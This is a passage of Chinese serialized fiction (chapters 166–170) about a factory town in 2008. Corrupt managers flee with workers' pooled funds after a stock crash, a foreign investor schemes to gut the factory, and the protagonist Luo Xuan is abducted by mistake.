微风习习,清凉的空气从车窗的缝隙中透进车内。 车队平稳地绕着新红星厂转了一周,辉煌的灯火将车内人的脸照得半明半暗。 江明映微微侧身,用英文询问宗先生:“这块地怎么样。” “Adrian,你天生就像一条追着金钱撕咬的鬃犬。”宗先生用新加坡口音浓重的英语称赞,“我作为你的投资者之一,很高兴见到新厂一期设备安装完成。” 江明映笑笑:“说起来,一期的经营者还是您的故人。罗璇,您还记得吗?” “啊,那个小女孩。”宗先生随意挥挥手,“她不重要,你该处理掉就处理掉,不用顾忌我。” 江明映笑,一张瘦长而精明的脸,谦和又英俊:“我在非洲和亚洲都考察过,三年内,这是降低成本的最佳办法。” 宗先生看着车窗外,点点头。 “我将在10月28日启动与罗桑厂的最终谈判,把罗桑厂拿到手。然后,将罗桑厂掏空,把罗桑厂的核心‘流入’新厂。来年1月就可以自有资金投入新厂二期的启动,4月投入第三期。” 宗先生点头:“Adrian,把事情交给你,我们都是放心的。” 江明映含蓄地微笑。 宗先生感叹:“说起来,前些年Charles操盘另一个产业集群项目,折戟沉沙,亏了好多钱,就是因为搞不定错综复杂的地方关系,搞不定各种纷繁复杂的环境认证,更搞不定本地人。还是你聪明,不破不立,直接绕开旧的,凭空建了个新的,还做了个漂亮的仙人跳,给那个本地人设局,利用王经理的贪欲,让他和王经理帮你把厂建起来,而你一份没花,净赚。一切都顺顺当当。” “最好的资本运作,就是——”江明映用中文一字一句,“空手套白狼。” 他用英文解释:“意思是,我们不需要花一分钱,只要动用一些资源与手段,就可以收获大笔财富。” 宗先生抚掌而笑,用中文重复:“空手套白狼。我喜欢。不过,我记得,中国还有一句话,叫‘凡事留一线’,Adrian,你会放那小女孩一条生路吗?” 江明映看向前方,微微笑:“宗先生,中国有另一句古话,叫‘痛打落水狗’。意思是,既然已经把事情做绝,那么就要赶尽杀绝,杜绝后患,否则,资金就会有风险。” 宗先生注视了江明映半晌,终于认同地点头:“Adrian,把钱交给你,我放心。” 江明映的表情没有变化,拔直的脊背微微松弛了些。 “对了。”宗先生转过头,看着江明映,“你提出的那个口号,是什么来着?” 江明映展齿一笑。 他的脸被新红星厂的灯火照亮,牙齿雪白。 “再造一个罗桑县。”江明映很有耐心地重复。 再造一个罗桑县。 江明映不急。 他已经重复了很多遍。 …… 罗璇在家里重复着吃与睡。 她连宗先生的面都没见到,希望彻底破灭。 回到家,她倒头就睡,一觉睡了两天。睡醒了,也不急着起床,窝在房间里,吃了睡,睡了吃。 10月28日这天,大门一声巨响,紧接着是隔壁房门打开又合拢、旅行箱轮子骨碌碌摩擦地板、窸窸窣窣的声音。 大姐结束了异地面试,回来了! 罗璇睁开眼,阳光已经撒满整间屋子。 是一个阳光灿烂的好天气。 她看着天花板,还没来得及高兴——2000万债务山呼海啸地涌进脑子里。 她呻吟一声,痛苦地捂住头,在床上扭动。 罗珏推门进来:“你宿醉?怎么一大早脸色难看?” 罗璇重重叹气,想着怎么和大姐提这笔债务。 “大姐,你昨晚通宵了吗。”罗璇注意到罗珏半张脸有些肿胀,双眼通红。 罗珏想了想,苦笑一下。 她一边四处奔波找工作,一边依旧试图劝阻工人们借钱投给罗桑厂,有个年轻气盛的工人动手打了她一巴掌。 “你赚够了钱就不让别人赚钱!”那年轻工人愤恨道,“你太自私了!” 罗珏不愿再想。 罗璇懂了,看来姐妹两人都有需要向彼此倾诉的遭遇,同样难以启齿,同样需要倾诉很久。 只是,大姐虽然看上去备受挫折,但不再心事重重了,开朗了很多。 说明她选择的道路,是她自己满意的。 罗璇想着,罗珏开口。 “话头一打开,就停不下来。”罗珏提议,“天气凉了,我们吃火锅吧。买点肉菜在家自己涮,再买点酒,一醉不休。” “大姐,你阳光很多啊。” “什么阳光,要被暴风雨打蔫啦。不过,我自己选择的道路,无论遭受什么,就算身体吃了苦,但我的灵魂很坦然。我不后悔。” 罗璇才听不懂什么身体什么灵魂的,但大姐既然想得通,她就松了口气:“大姐,你现在状态真不错。” 罗珏坦然地点点头:“人必须走在自己选择的道路上。” 罗璇放下心来:“幺儿呢,她养病养好了吗?” 罗珏的脸色沉了下来。 罗璇很少看见大姐这种恨铁不成钢的表情,心里一沉:“幺儿又出什么幺蛾子了?” 大姐盘腿坐在罗璇的床上,沉着脸把电脑推到罗璇面前:“你自己看。” 罗璇随意扫了眼电脑屏幕,眼前一黑,差点没背过气去。 是小妹和老郑的最新合影。 小妹的鼻子和眼睛甚至还没好利索,两个人却已经亲密地依偎在一起。 配文是: “我们,守得云开见月明。” “守个屁啊。她脑子被屁崩稀碎吗。”罗璇难以置信地爆了粗,“她居然和老郑复合了?!” 罗珏也罕见地爆了粗:“她脑子里灌了屎。” “这和把窜稀的屎吃进去有什么区别?!”罗璇从床上跳起来骂,抓起手机,“不行,我忍不了这恶心玩意,我得问问——” 罗珏伸手按住罗璇。 “这屎,你得吃,我也得吃。”她静静地说。 罗璇气得眼冒金星:“凭什么?” 罗珏简单地说:“我们都是成年人了。姐妹之间,也得有分寸,幺儿做事不喜欢被人质疑。” 罗璇深呼吸,又深呼吸:“我们是外人了?” 大姐轻轻说:“二妹,我们三个,虽然都从妈的子宫里钻出来,虽然是亲人,但各有各自的人生。你不好干涉太多的。” 罗璇瞪着眼睛想了好半天。 “妈也有妈的人生。娇姐也有娇姐的人生。小满,万叔,王婶……”罗珏垂头苦笑,“我们只能各走各路。没人会把人生寄托于他人。二妹,大家的人生,并不是围绕着你进行的。你不是这个世界的主角。“ “大姐,但我们兜兜转转,还在一起。”罗璇伸手握住罗珏的手腕。 “我们也注定要分开的。”大姐冷静地把她的手推开。 罗璇很受伤:“大姐你也要离开我了吗。” “因为我要去菜市场买肉而你要去超市买丸子。”罗珏清冷地说。 罗璇要反应一会,才猛地跳起来:“大姐你讲的冷笑话真的好冷,你知不知道你只会说烂梗啊?!” 罗珏哈哈哈哈笑起来,笑得弯了腰,倒在沙发上:“骗你还是太容易了。” 罗璇跳起来,把大姐压在身下,又被血脉压制,被大姐按在身下挠痒痒,猛猛讨饶:“不是烂梗,不是烂梗,大姐你最幽默!” 罗珏潇洒地拍拍手:“你想揍我,下辈子吧。” 罗璇不服不忿地躺在沙发上,心想,自己练体育这么多年,身强体壮,结果柔弱的大姐深知自己每一个弱点,三下五除二就能把自己干趴。 罗璇不服:“晚上回来再战。” 罗珏笑嘻嘻:“回来再揍你一顿,我没意见。” 罗璇还要再讨口舌便宜,罗珏已经正色:“还磨磨蹭蹭!快穿衣服出门,懒鬼!” 熟悉的血脉压制再次觉醒,罗璇起身套衣服,被罗珏左一句话右一句话催得鸡飞狗跳。 她打开衣柜,惨叫一声:“脏衣服没洗,干净衣服没有——大姐我穿你的T恤!” 她冲进罗珏的房间,打开柜门,不由分说,抓起罗珏的衣服往身上套。 罗珏向来爱干净,毛了:“又穿我衣服,你能不能勤洗衣服!懒鬼!” “反正有你嘛!” 几分钟后,罗璇被大姐揍了几巴掌,还是如愿穿上了大姐的衣服:“大姐,我明白了一个人生哲理。” 罗珏低头穿鞋:“怎么。” “人只要扛揍,就能获得很多好处。”罗璇深沉道,“啊——别真掐——别掐脸——轻点掐脸——疼疼疼!” 第166章 千股跌停&让她消失 两人走到街上。 这是一个好天气。秋高气爽,天蓝得像一块没有瑕疵的玻璃,云又高又远。 罗璇仰起头,阳光照在脸上,她的心情突然舒畅起来。 “大姐,此时此刻,我突然觉得我很幸福。”罗璇按住自己的心。 无论前方等待着她的是什么——日子总是一分一秒过去。即使未来的人生阴霾重重,可在此时此刻,微风吹着,阳光照着,天蓝树绿,而罗璇知道自己是幸福的。 罗璇看向美丽的大姐。 两棵树之间缠着绳子,挂着邻居晾晒的蓝格子床单。罗珏正伸手抓着床单的边角,把它轻轻撩开。若隐若现的蓝格子,掩映着清瘦雪白的瓜子脸,及肩黑发被风轻轻拂起一丝,缥缥缈缈的,仿佛她下一秒就要被床单拖拽着,随风飞走,越飞越高,直至化作漫天的黄色蝴蝶。 这张雪白缥缈的脸转过来,对牢罗璇微微一笑:“复述一遍,我让你买什么。” 可恶。 根本没有在听呢。 罗璇左右躲闪罗珏的巴掌,仰头哀嚎:“人的幸福总是短暂的对不对——别打啦!” …… “人的幸福总是短暂的,但我想,我会是例外。”万小满对着手机,笑眯眯地说,“我有能力,肯吃苦,我会长长久久地幸福下去。” “你当然会长长久久地幸福下去。”手机另一端,罗琦斩钉截铁地说,“你吃得苦够多了,小满,以后都是你的好日子。” “我会的。”万小满抬起头,注视着湛蓝的天空,宛如一块毫无瑕疵的玻璃,阳光照耀在她的脸上。 “不要告诉我爸妈。”万小满笑嘻嘻,“我妈11月1号过生日,我要用铺面和房子,给她一个大——惊——喜——!” “保证帮你保守秘密。”罗琦也笑。 两人挂断电话。 10月28日,万小满走下火车,走出罗桑县火车站,汇入罗桑县的人潮中。 …… 罗琦放下电话。老郑凑过来:“谁呀。” “一个孩子,罗桑县的状元,罗桑县的未来。”罗琦把手放在老郑的肩头,“你的老朋友们都怎么说?团购房的事,他们有没有意向?” 老郑的头发全白了:“凑了几家,还差一些,我今晚继续找他们问。” 罗琦点点头。 老郑看着罗琦,突然动容:“我晓得……你是真的爱我。我风光的时候,你跟了我。我落魄的时候,你还跟着我,打也打不走……我的朋友们都说你是个有情有义的好女人,和外面那些捞女不一样,你是女中豪杰,让我对你好,莫要辜负你。” 他攥紧罗琦的手。 罗琦垂眼看着那双包在外面的大手。那双手苍老了很多,上面遍布皱纹。 老郑探究的目光落在她脸上。 罗琦什么都没说,不露痕迹地温柔笑了笑。 …… 罗珏扬起脸,在阳光下笑了笑:“我去菜市场买肉,你去超市买丸子。” 罗璇张望了一下,这是两条不同的道路,刚好相反。她转过身去,和罗珏背对背。 罗璇回头。 “我们在哪里汇合呢?”罗璇问。 “家里见。”罗珏回头,轻盈地指着前方,“我再带瓶酒,我们一醉方休。” “好哇,一醉方休!”罗璇点头。 阳光那么美丽。姐妹两人背对着彼此,向着相反的方向前行。罗璇心有所感,回头看了眼,对着大姐的背影又喊了句: “大姐,家里见。” …… “怎么又见到他! “他在罗桑厂里面晃什么晃,他究竟是谁?!为什么你们还陪着他?!”王经理站在窗前,眉头紧皱,语气烦躁。 亲信急忙说:“他是省里的人,之前是党报的笔杆子,借调到实业部门去了,现在来我们这走访。” “省里来调研的?!” “那倒也不是。”亲信说,“没函,只有一封介绍信,应该是个人行为。” 王经理面色难看地盯着那人:“江明映就要来谈注资罗桑厂的事了,你们想办法把他弄走。” 亲信低声应了。 王经理沿着走廊走,越走,越是觉得心慌。郑厂长的电话打进手机:“你什么时候过来?!千股跌停,千股跌停知道不知道?” 王经理当然知道。他急急推开厂长办公室的门,郑厂长转头看着他,满眼红血丝。 两人对上眼神,都从彼此的眼睛里看到了绝望。 2008年10月28日,千股跌停。 还没到中午休市,股市内已经遍地停牌。1004只股票跌停,A股市场总市值在几个小时内蒸发掉数以万亿计的财富。 包括罗桑厂几十年、几代人积累的财富。 “根本抛不掉。”郑厂长喃喃说,“所有人都在抛,所有人都在跑……太惨烈了。简直是一场绞杀。” “怎么办?”郑厂长抬眼看着王经理。 郑厂长浑身上下如蚂蚁般密密麻麻地噬痒。是冷汗一颗颗渗出来,又不住地往下流。 “老王。”郑厂长走上前,抓住王经理的胳膊,“千股跌停,罗桑厂的钱,已经彻底蒸发了。无论如何,我们都没办法交待了。” 王经理神色动了动,安抚地拍他的胳膊:“郑厂,还有我。” 郑厂长压低声音:“工人集资款都收拢齐整了?” 王经理点点头:“只要有钱,就能备料,机器还能赚,就能赚钱。” “不,我们得跑。”郑厂长嘶声,“这些钱,填不上罗桑厂的窟窿,也瞒不过省里的审计。但这些钱足够我们去国外过好下半辈子……” 王经理按住郑厂长的胳膊:“别慌,郑厂,没事的。只要外商愿意给我们注资,就轮不到之河服装集团兼并我们。” “赵书记根本就不会答应!”郑厂长转了几圈,焦急地说,“你我都知道,和江明映谈,也不过权宜之计、暂时拖延罢了!” 眼看着郑厂长铁了心要走,王经理心中焦虑,面上不显。他劝:“郑厂,您别慌,眼下,江明映今天过来,先把他稳住再说。” 郑厂长显然没听进去。 王经理直接说:“走访的人来了。”他指了指下面,“就在厂子里。” 郑厂长变了脸色,跌坐在椅子里。 “今天我走不掉?这个节骨眼,他怎么来了?难道……我记得,他是林国栋的同学,而林国栋,是那个乱讲话的罗珏的舅舅。” 王经理低声:“昨天刚找了工人,教训过罗珏,打了她一巴掌。”王经理顿了顿,“这当口,他过来,大概是为罗珏报仇,来故意抓我们差错的。郑厂长,这种节骨眼上,您先稳住了,送走他,我们再徐徐图之。” “您别慌。我觉得,我们不需要跑。”王经理语气沉稳,“问题不大,事情还没那么糟。” 郑厂长喘着粗气。 “罗珏知道的太多了。”郑厂长阴沉着脸,“动作太大了。” 两人都看到了彼此眼中的狠意。 “让一个女人消失,并不难。”郑厂长缓慢地说。 第167章 准备逃跑&绑架&证据 “我的护照呢,消失了?” 王经理在办公室里翻来翻去。 “啊,找到了。” 他把护照揣进手提袋。 手提袋里,全是粉色的百元大钞。 王经理封好手提袋,藏到办公桌下面,做好逃跑的准备。 …… 风有点凉,刚刚还是阳光明媚,这会已经黑沉沉的,风雨欲来。 罗珏低着头疾走,及肩发被风吹乱。 她伸手摸了摸脸,那里还有点肿。 罗珏低低叹了口气。 昨天被工人狠狠打了一巴掌,打得她头昏脑涨,这会耳朵里还生疼。 这值得吗?真的值得吗? 如果值得,她胸中这股愤懑又算什么? 如果不值得,她从小到大、从头到尾坚守的正义,又是什么? 是,她帮助别人,不是为了别人,她只想对得起自己。 可这样真的就对得起自己了吗? 她努力帮助的人,最后打了她一巴掌? “人活着,究竟是为了什么啊?”罗珏捂着脸,茫然地说。 雨大颗大颗砸下来,砸在罗珏的黑发上,很快就打湿了她的头顶。 风吹过,冰冷的,让罗珏乱哄哄的脑子降了温。 而菜市场就在眼前。 就在这时。 她的肩膀被人狠狠地撞向一边。 …… 风有点凉,雨点大颗大颗砸下来,罗璇用手按住头顶的碎发,快走几步。 “开花肠,牛肉丸,墨鱼丸。蟹棒。”她欢快地碎碎念,“午餐肉。” 说着说着,她自己倒是开心起来。 罗璇心想,她和大姐才不一样,大姐脑子里总是想一些宏大又抽象的东西,什么正义,什么灵魂…… “人活着是为了什么?还能为了什么,人活着就是为了去超市买他妈的肉丸子吃。”罗璇嘀咕。 她很放松地哼着歌,超市就在眼前。 就在这时。 她的肩膀被人狠狠撞向一边。 …… “哎呀。”罗珏被人撞得一个踉跄,皱眉瞪过去。 …… 妇人转过头,一张宽方的脸,黑里透红,高大强壮,一双大脚。 罗璇后知后觉地感受到后脑传来剧痛,红色的血刷拉拉流淌下来,霎那间遮住视线。 “嗡——” 耳朵里尖锐的鸣叫声由远及近。 那妇人用力钳住自己的胳膊,罗璇想还手,想大吼大叫,可下一秒,她的眼前彻底黑了下来。 …… “没事,下次注意就好。”罗珏拍了拍自己的袖子。 “快和姐姐道歉。”年轻的妈妈不安地推小男孩。 “姐姐,对不起。”小男孩躲在妈妈身后。 …… 锃亮的黑色车子拐了个弯,缓缓驶入罗桑厂。宽阔恢弘的前门早早打开,郑厂长穿着黑色夹克,带着一众人,等候在门外。 雨水渐渐落下,在黑色夹克上留下浓墨重彩的团团痕迹。 郑厂长笑着。 笑容掩盖不掉他憔悴苍白的面孔与惊惶的眼睛。 …… 破旧的银灰色面包车拐了个弯,混在其他拉货、拉料的三轮车、摩托车与面包车中,从后门驶入罗桑厂。 “王经理说把罗珏做掉。” “放什么狗屁,给200块就想杀人,古惑仔看多了吧。违法犯罪的事情我们不做。把罗珏丢他办公室里,让他自己看着办。” …… 王经理上前,恭敬地拉开前门。一道穿着蓝色西装的瘦长影子从车内钻出,江明映站在车前,抬头。 雨大颗大颗,迅猛地砸下来。江明映的面孔被雨水砸得有些微的痛意,这似乎是某种来自老天的愤怒与警告——但让别人恐惧的,只会让他更加贪婪、更加兴奋。 江明映抹了把脸上的雨水,站在黑压压的浓云下,看向灰沉沉的庞然大物,罗桑厂。 在他眼里,罗桑厂已经是一具尸体了。 他会像条残忍的鬃狼一样,把这巨大尸体肚子里的血肉器官,统统掏空。 …… 一大半机器都没有开工,几个女工无事可做,窝在仓库里聊天。 “这次分红应该也快了。”王婶说,“再不快点分红,借的钱就该还了呀。” “东挪西凑呗,你还怕罗桑厂跑了不成?这集资啊,买到就是赚到。” “嗯?下雨了。” “娇姐,下雨了!”王婶扯嗓子喊,“快进来躲着啊!” 娇姐的头发被她自己剃得只剩短短寸根,白了大半。很多地方乱七八糟的,并不齐整,几块头皮刮破了,凝固着暗色的血痂。 雨落下,娇姐坐在库房门口,一动没动。 王婶上前去,把娇姐架了进来。 王婶嘴里忍不住埋怨:“看看你,把自己弄的,等小满放假回来了,得多心疼你——你身上什么味!多久没洗澡了,啊?” 顿了顿,王婶的语气有些严厉:“你就不能振作一些?就当是为了小满!” 娇姐转过头去,神情黯淡。 …… 雨点很快转为瓢泼大雨,哗啦啦落下,砸在玻璃上,咚咚作响。 罗桑县医院。 万高大放下手里的书本,转头看了眼窗户。 “下雨了啊。” 他反手抓住医院床头的栅栏,用力把自己滑倒的半截身体扯起来,靠坐在床头。 一张床,他只占一半,剩下的一半,堆了些杂物。 红的橘子,蓝的床单。 床头的平安香囊轻轻晃动。 …… 大雨忽然落下,万小满撑起伞,走进罗桑县中学的校门。 班主任一把抓住爱徒的胳膊,朗声大笑:“小满,小满!”老人重重地拍万小满的头,又捏她的胳膊:“好好好,壮实了,个子高了。看来大学读得不错,没乱减肥,有好好吃饭!” 操场上来来往往的学生笑嘻嘻地探头看过来,万小满面色通红:“老师,我有认真运动,我不会减肥的。” 班主任抓着爱徒不放:“走走走,你要住学校,我已经嘱咐人给你收拾一间教师宿舍,你还在长身体,带你去吃涮牛肉,咱们爷俩好好聊聊……” 万小满好说歹说,才允诺老人,明天去看他。 “赵书记也想见你,说这次动员会全指望你了,你就是罗桑县的希望!” 看着万小满有点紧张的脸色,班主任又笑起来:“知道,你想给你爸妈一个惊喜,我不告诉他们的!” 万小满抿嘴笑:“老师,我想好好准备动员演讲,得借用县中的图书馆,上网找些资料。” 万小满走进罗桑县中学的图书馆,连上网线,开始搜索: 洗钱如何判定刑法 她凝神细看,时不时退出网页。电脑桌面上,有一个“罗桑厂”的文件夹,她用鼠标点开,里面有三个小文件夹: 洗钱 资金转移 证据收集 几个小时后,雨渐渐停了。 万小满盖上电脑,把行李放在宿舍,换上一件罗桑县最常见的黑色运动服外套,低调地背上书包,走出罗桑县中学的大门,向罗桑厂走去。 第168章 跑! 电磁炉上的大锅里,清水已经沸腾了一轮又一轮,终于不情不愿地烧干,发出“吱——”的长音。 无人理会。 琳琅满目的肉卷逐渐解冻,笔挺的形状软塌下去,就连红色,也洇成暧昧不明的颜色。 锅底渐渐发黑,糊味慢慢散发出来,但依旧无人理会。 白烟猛地窜出来,浓郁的异味充斥着整个房间。 乱糟糟的脚步声由远及近,门被猛地推开,罗珏披头散发地举着手机冲房间,哭着对电话另一端喊:“二妹不见了,有人说她被面包车拉走了,地上有还血!” 她颤抖着手,拉开床头柜,拿出全部的银行卡,又窸窸窣窣地抓起现金,手忙脚乱地往怀里塞,然后跌跌撞撞地转身跑出去。 门大力关闭。 白烟猛烈地窜着,几秒种后,门再次被大力推开,罗珏折返,猛地拔下插头,哭着说:“祝峻,我也怕她被拐卖,通往县外的交通干道,就拜托你查找了!” 门再次被大力关闭。 房间内陷入沉默与漆黑。 …… 罗璇睁开眼。 2000万债务山呼海啸地冲进她的脑子,罗璇浑身发冷,头又剧烈地痛了起来。 等等。 罗璇被冻得一激灵,发现自己冷是因为躺在地下,痛是因为她的脑袋显然肿着大包—— 她想起中午的事。 罗璇猛地坐起身,看见外面已是明月高悬。她急忙扑到窗边看了看——这不是就罗桑厂嘛! 手机早就丢了。 此刻,电子钟提醒她,是10月29日凌晨3点50。 而她被关在一间满是铁皮的小资料室里,除了铁皮柜,就是冰凉又光秃的大桌子和一把椅子。她试着退了推门——门被反锁得牢牢的。 她大喊大叫了一会,外面没有人,也没有任何脚步声。 罗桑厂的行政楼,晚上自然是没人的。这里距离工人生活区很远,工人也不会在凌晨四点钟跑到这里来。 什么鬼。罗璇心想。 白天的时候,她以为自己要被拐卖了,谁知此时此刻自己只是被丢进了罗桑厂,也没人理会自己,只要挨到天亮,等工人们起床了,她对着操场喊几嗓子,就会有人来给自己开门。 什么鬼! 真是虚惊一场! 真是无妄之灾! 罗璇忿忿地摸到额角伤口已经凝固成血痂。摸来摸去,实在没忍住,试探着抠了几下——旋即痛得一个激灵。 算了。 反正天亮了就能出去。 罗璇打开铁皮柜,不客气地抱出厚厚一摞文件,一本本一排排垫在光秃秃的大桌子上,总算是垫得厚实了些,又脱了外套下来当被子盖在身上,舒舒服服地躺在桌子上,翘着脚看着夜色。 别说,还挺惬意。 不一会,她就睡熟了。 …… 10月29日凌晨四点钟,江明映坐在车上,遥遥望着罗桑厂。 一栋挑高的、漆黑的影子。郑厂长向他介绍过,那是罗桑厂的行政楼。 不过,明天就是他的行政楼了。 电话进来,江明映用英语向对面汇报了很久,最后说:“已经谈妥了。” “合同对我们非常非常有利,郑厂长毫无职业素养,心不在焉,似乎急着把厂子转手。在我的职业生涯中,还没经历过如此简单的谈判。”他的语气中带着一点轻蔑。 “天亮以后,我去正式签合同。” 江明映结束了通话,降下半截车窗,缓慢地掏出一支雪茄。 他浑身的血液都叫嚣着激动。 江明映心里清楚,如果一切能顺利实施——再造一个罗桑县! 再造一个罗桑县! 这是怎样的气魄,怎样的未来,怎样精巧又恢弘的手笔,怎样以小博大的格局——他将一战成名,这将改变他的一生。 再造一个罗桑县! 江明映把雪茄放在鼻端,嗅着香气。他点燃雪茄,没怎么吸,只是静静地拿在手里,注视着烟雾袅袅上升。 “再造一个罗桑县。”江明映压抑着声音里的颤抖,沉着嗓子,自言自语。 远处,水声拍岸。 明月高悬,照耀着罗桑河。 明月高悬,照耀着罗桑县无数沉睡中的工人家庭。 …… 王经理提着行李,小步疾行,明月把罗桑厂照得亮堂堂的,似乎所有的罪恶都无处隐藏。 有人用力抓住他的胳膊:“你要去哪里?” 王经理回头,看见惊惶愤怒的郑厂长,大惊。 雪亮的月,暗色的墙,映着两个撕作一处的黑色影子。影子聚拢又分开,激烈地推搡着、摇晃着,箱子跌落在地,被另一人狠狠抢走,高高举起一本护照。 郑厂长始终压低声音。 “你他妈的说问题不大,原来你今晚要跑——” “你他妈的自己跑,把我留下背锅——” “你不做人——” “信不信我撕了你的护照,我让你无处可去——” 他作势要撕,王经理变了脸色,后退几步。 “我终于看出来了,我被你坑了。”郑厂长绝望地说,“原来你从头到尾,都在拿我当背锅侠,你敛了财,你走绝了路,你把这一切全都推到我的身上。亏我这么信你。” 说罢,就要撕。 月光亮堂堂,墙上的黑影再次纠缠成一团。等再分开,两人脸上都挂了彩。 王经理气喘吁吁地看着郑厂长手里的护照,冷笑:“郑爱民,你怪我?是你自己没本事,做不出业绩,我能做出来,你也跟着沾光,现在账平不了,你反而怪起我了?”他喘了口气,“我不管怎么做,至少是为了罗桑厂好,不像你,郑爱民,外来的和尚,根本不在乎罗桑厂能不能赚钱,只想踩着罗桑厂着往上爬——” 郑厂长大怒,刚要说什么,王经理却低声喝止他:“你还想不想跑?” 噎得郑厂长面皮发紫。 王经理厉声威胁:“我是罗桑县本地人,门路多,万一被发现,我还能捞你一把,你呢?你以为靠你自己,真能出得去?” 郑厂长靠在墙上大喘气。 月光惨白地照在他的脸上。几秒钟后,他抓牢手里的护照,揣进口袋:“一起走。你的护照,我替你保管。” “……那就快走。”王经理从牙缝里挤出四个字。 手机铃声骤然划破宁静,两个人的身子都颤抖了一下。 第169章 相残&我是罗桑县的希望 凌晨四点钟? 郑厂长立刻接了。 “郑厂,您刚刚拨了电话过来?不好意思不好意思,刚刚没接到,我不该睡觉的……” 郑厂长看了眼手机,自己刚刚在争夺中,无意识拨了个电话给心腹,对方没接到。 郑厂长声音沉稳,架子十足:“我通宵工作到现在。明早外商过来签合同,合同的最终版本拟好了吗?” “是,郑厂长,给您汇报一下,具体的条款……就这些,但给对方的条件会不会太宽松了些,我们很吃亏,很多地方,还有进一步收紧的空间……” 郑厂长教训:“你要分清,什么是需要领导决策的,什么是自己做主的,这是你值得问我汇报的问题吗?” 电话对面惭愧:“您说得是。” 郑厂长又语重心长:“小亮,我一直对你寄予厚望,你要成长起来,肩负起你该负的责任。说起来,明天我有个会,外商过来签合同,就由你来接待吧。” 心腹疑惑:“郑厂,这么大的事情,您不到场,外商未必答应。更何况,明天我还联系了报社过来拍照采写。” 郑厂长语气不虞:“你能不能有点主动性!” 心腹迟疑:“……好。” 看着郑厂长讲电话,王经理面色难看。 按计划,他应该已经远走高飞,留无知无觉的郑厂长一个人在这里,接待外商。等外商走了,人们发现端倪,他早已跑到美国,郑厂长只好扛下所有的责任。 而如今,两个人必须捆绑在一起逃跑,而明天一大早,江明映过来签合同,但这种重大场合,如果郑厂长不露面,无论用什么借口,都很奇怪。 一定会被发现。 只有一个理由,才能既让郑厂长的缺席合情合理、又能拿到他自己的护照,还能让郑厂长背下所有的责任—— 郑厂长畏罪自杀。 王经理心想。 反正已经杀了罗珏。 多一个不多,少一个不少。 他看向郑厂长,面露狠色。 …… “什么人?!”雪亮的灯光晃得人眼前白茫茫一片,“谁偷东西?!” 巡夜的工人老王拖着根钢筋冲上来,一钢筋敲在郑厂长脖子后,郑厂长晕了过去。 老王又反手将王经理摔在地下,抢过王经理手里的袋子。 撕扯间,袋子掉在地上,拉链松了,一摞一摞粉红色百元大钞露出来,在雪堂堂的光柱下,无处遁形。 老王倒吸一口凉气:“王经理,郑厂长!你们——”他颤颤巍巍地用手指着地下的钱堆,“你们——” 被按在地下的王经理面色煞白。 老王翻了翻包里的钱,脱口而出:“这些钱从哪里来的?是我们的集资?你们想跑?” 王经理立刻说:“老王,这些钱,你能拿多少,就拿多少走。” 老王想说的所有话都哽在喉咙里,他双目圆睁,看着那满满一口袋的钱,满脸憋得通红,喉咙里发出嗬嗬的声音。 王经理咬牙道:“老王,若是论起来,咱俩也是本家,我得叫你一声叔爷。我是遇到难处了,求您高抬贵手,放我一条生路。” 还没待老王说话,王经理又说:“老王,集资的事情,我有没有亏待过你?你摸着良心说,我给你分的钱少吗?你儿子娶媳妇、生孩子,如果没有我,能成吗?” 老王梗着脖子,费力地说:“但你造孽啊!我的本金,是借的,是高利贷,若是你今天跑了,你就是逼我去死……” “这些钱,你拿走,就什么都没有损失,你还能多拿一些。”王经理用力打了自己一巴掌,“老王,我是个混蛋,我拿着大家的钱给罗桑厂填窟窿,窟窿越来越大,钱亏得差不多了,我没法交代。” 老王喃喃道:“什么叫罗桑厂大窟窿。” “罗桑厂没钱了。”王经理直接说,“已经卖给外商,外商要把你们全赶走,你们还不知道而已。” “罗桑厂……要把我们全赶走?”老王震惊极了,开口如梦呓般。 “叔爷!只有你能救我!”王经理抓住老王苍老干硬的手,被老王甩开:“我凭什么救你!” “只有我才是罗桑县的希望!”王经理说。 老王看着王经理,王经理语速很快:“我不是要跑!外商买了厂子,要把大家全赶走,大家会饿死的!但……但是,省里的大领导可以救我们,那些大领导……对,赵书记!赵书记可以救我们!我这些钱就是送给赵书记的,让赵书记帮我们罗桑厂想办法,办贷款,搬救兵!” 老王怔怔问:“当真?” 王经理反问:“还有谁能救罗桑厂?还有谁能保住你们的饭碗?” 老王的动作慢下来。 王经理说:“老王,你想想——如果你抓了我,剩下的这点钱,根本不够大家伙分的,你连自己的本金都拿不回去,怎么还高利贷?” “罗桑厂,怎么会——”老王面容扭曲而痛苦:“你,你为什么要让我知道这些?我马上就要退休了,我——” “我是罗桑厂的希望。罗桑厂完了,罗桑县也就完了。我是罗桑县的希望。”王经理说,“你不放我走,就是亲手斩断了罗桑县的希望啊。” 老王抓着王经理的老手渐渐松开了。 他蹲下,拉开大衣里怀:“既然是给赵书记送钱,我只拿走我的本金,分红我不要了。”他点出数叠,塞进口袋,不小心多拿了两叠。 真的不小心吗。 老王怯怯地缩手,犹豫着把那两叠放了回去,王经理眼疾手快地挡住他,又塞了三叠进去:“你该拿的。高利贷也要钱。” 老王软着手收了。 …… 王经理把郑厂长拍醒。 郑厂长想问,王经理“嘘”了声:“我们走车间顶的连廊。” 两人摇摇晃晃,朝着车间走去。 此刻的罗桑县,正是热火朝天的开工时刻。两人站在罗桑厂高处的连廊里,那连廊的右边,刚好对着罗桑厂外,可以看到整个罗桑县在脚下灯火通明,宛如毛细血管般蔓延到四面八方。 而罗桑厂夜里不开工,静悄悄的,如同一颗沉睡的心脏。 风呼呼吹过,王经理指着前面:“我们穿过连廊,从前面出罗桑厂。” 郑厂长急急向前走,忽然感觉后背毛骨悚然,他迅速回头,对上王经理作势要推的双手。 一切都发生在电光火石之间。 第170章 跳&绝叫 2008年10月29日凌晨4点,月亮明晃晃地挂在夜空,亮堂堂的。 “妈妈。”小男孩不睡觉,指着月亮,“月亮那么白,可也有黑色影子。一个。两个。” 年轻的母亲不耐烦地打了个呵欠:“那是住在月亮上的仙人。” “仙人会满足我的愿望吗。” “不会。仙人高高在上,哪个理你。” “妈妈,月亮上的黑色影子掉下来了。”小男孩突然说,“一个,两个。” 嘭! 小男孩被年轻母亲拍了下头顶:“睡觉!” 月亮熄灭了。 一片黑暗。 …… 嘭! 罗璇刚睡着没多久,就被吵醒了。 她睡眼惺忪地看了下,窗户开了个小缝,没关严,凉风嗖嗖地吹进来。 她起身把窗户关掉,胳膊肘不小心撞到什么,收音机的骤然响亮起来。 “现在是2008年10月29日4点。” “……各位听众朋友,您现在收听的是深夜特别节目——谁是最可爱的人。” “2008年5月12日汶川地震,在地震刚刚发生的几个小时之内,震中汶川处于完全与世隔绝的状态,外面的人进不去,里面的人也出不来,生死攸关,可救援工作难以开展。” 